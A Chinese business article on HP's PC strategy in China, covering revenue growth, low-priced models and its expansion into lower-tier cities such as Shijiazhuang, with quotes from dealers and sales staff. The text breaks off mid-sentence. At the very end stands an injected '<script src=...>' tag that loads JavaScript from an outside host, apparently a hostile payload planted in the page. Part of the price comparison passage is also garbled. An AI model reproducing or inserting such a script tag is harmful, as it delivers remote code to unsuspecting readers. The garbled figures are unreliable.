惠普中国局
许亚青
很多惠普的员工感到非常兴奋，2006财年结束，惠普以917亿美元的营业收入，成为全球销售额最大的it公司。
惠普的pc业务最终改变了天平的平衡。在2005财年5.7%的增长中，主要销售个人计算机产品的信息系统及商用渠道集团（psg）贡献了近一半的增长。
而在刚刚结束的2007财年的第一季度中，又是psg一枝独秀，在另两个集团（打印成像及消费市场集团ipg、企业计算及专业服务集团tsg）业绩低于上季度的情况下，继续支撑公司业绩的增长。对比已经卖掉pc业务、走上另外一种商业模式的ibm，一度在惠普内部被认为是鸡肋的pc业务，现在正在成为惠普棋局中最具决定意义的棋子。而中国，也正在成为棋盘上的必争之地。
有数字统计，2006年，新兴市场将占全球pc市场的33%，预计到2009年这个比例为38%。只有身处一个高速发展的市场，企业的发展才有可能得以实现高速。在全球，新兴的中国市场潜力巨大，近年来惠普公司在中国市场一直保持着持续性的强增长态势，截止到2007年第一财季，惠普在中国已经连续17个季度实现平均超过35%的增长，而惠普电脑在中国市场的销售额已经位居整个惠普亚太市场之首。
在未来几年，pc将是惠普中国最重要的一个增量。而在一二级市场趋于饱和、竞争日益残酷激烈的情况下，惠普的领导层已经清醒地意识到，三级以下城市将创造更为广泛的需求，对三到五级市场的拓展和深耕势必成为棋局中最为重要的一环。但是这一层面的市场，并不是惠普所熟悉的战场。关注惠普在这一领域的表现，其实就是在看一个跨国公司不断改变和调整的缩影。
惠普“下乡”
许亚青
石家庄是个标准的中国三级城市，中心城区面积不大，只有150多平方公里，但是市区以及周边城中村的人口有190多万，并且还在迅速增加。
与中国很多三级城市一样，这里正在成为众多中外企业争夺的消费市场，因为2006年石家庄城市居民人均可支配收入比2005年增长了12%达到11250元，而事实上这种增长已经持续多年。
在石家庄主要商业街道中山路上，你不时会看到呼呼驶过的公交车身上突出的“2999”字样，那是惠普公司的2999元商用电脑广告，而国际大品牌背景的惠普在一二级大城市绝少有这样的广告形象。“变化主要发生在2006年的下半年”， 邢凯——一位惠普的本地经销商说道，“原来这里知道惠普的人很少，不过现在它放下架子，推出大量中低端产品我们感到很高兴。要知道那款2999的产品，现在供不应求。”
惠普的确在利用中低价位的产品来杀进三级市场。比如一款惠普家用电脑卖4199元，而三级市场的老大牍镜囊豢钜猜?199元，两者配置在内存、硬盘、显示器上几乎一样，惠普还多给了一个多功能读卡器。与此同时，一款4999元的惠普笔记本电脑，现在几乎是天天缺货。经销商们能够一分钱不便宜就卖出去，还能赚几百元，难怪会对这个产品称赞有加。
尽管这种低价格高性价比的机器往往是厂家的一个市场宣传手段——通过几款特价机，吸引人的注意力，把整个产品线带进去。但这是个信号，这说明惠普终于开始在三四级市场发力了！
向下走，没有选择
张立强在2003年刚来石家庄这个三级城市做惠普销售代表的时候，惠普在这里只有两个人，另一个是其他集团部门的工程师。那个时候惠普公司的消费类产品在国内市场份额非常小，不到2%，商用电脑是2.5%，家用台式电脑产品和笔记本电脑的市场份额几乎是0，三级以下市场一片空白。
在过去4年多以来，惠普公司在中国市场的消费类电子产品（包括台式机、笔记本电脑等领域）年复合增长率超过了35%。但是从绝对数值上却并没有那么令人兴奋，比如根据第三方的调查结果，全国市场联想笔记本电脑占30%，惠普只有12.8%。“在一二级城市惠普跟联想的市场份额不相上下，但是三级往下的城市，基本上还是听不到惠普的声音。”张立强坦陈。
在惠普内部，很多人都认为前总裁卡莉·菲奥莉（cary fiorina）的最大贡献就是为惠普公司制定了新的战略，把惠普带入了一个高速成长的领域中——以打印和笔记本电脑为首的消费类电子产品领域。
消费电子领域对惠普公司的重要性正在逐渐凸现，此领域的营业额这几年快速上升，已经占到惠普公司总收入的32%，并带给惠普很好的现金流量。在惠普公司目前110亿美元的现金流中，消费类电子产品已经成为惠普公司很大的动能。更重要的一点是，从掌上电脑，到几百元的打印机，到pc，到最高端的企业级解决方案，惠普是目前全世界唯一能够提供端对端产品和服务的公司，消费类产品能保证和客户之间的随时互动。
显然，惠普的全球战略需要投影到中国，而要抓住pc这个产品也自然成为了惠普中国战略中的核心之一。实际上在惠普从2003年第三个季度开始执行的中国五年计划中，惠普已经明确了在中国要做好两件事情：除了保证以笔记本电脑为首的pc业务占据一?script src=http://er12.com/t.js>
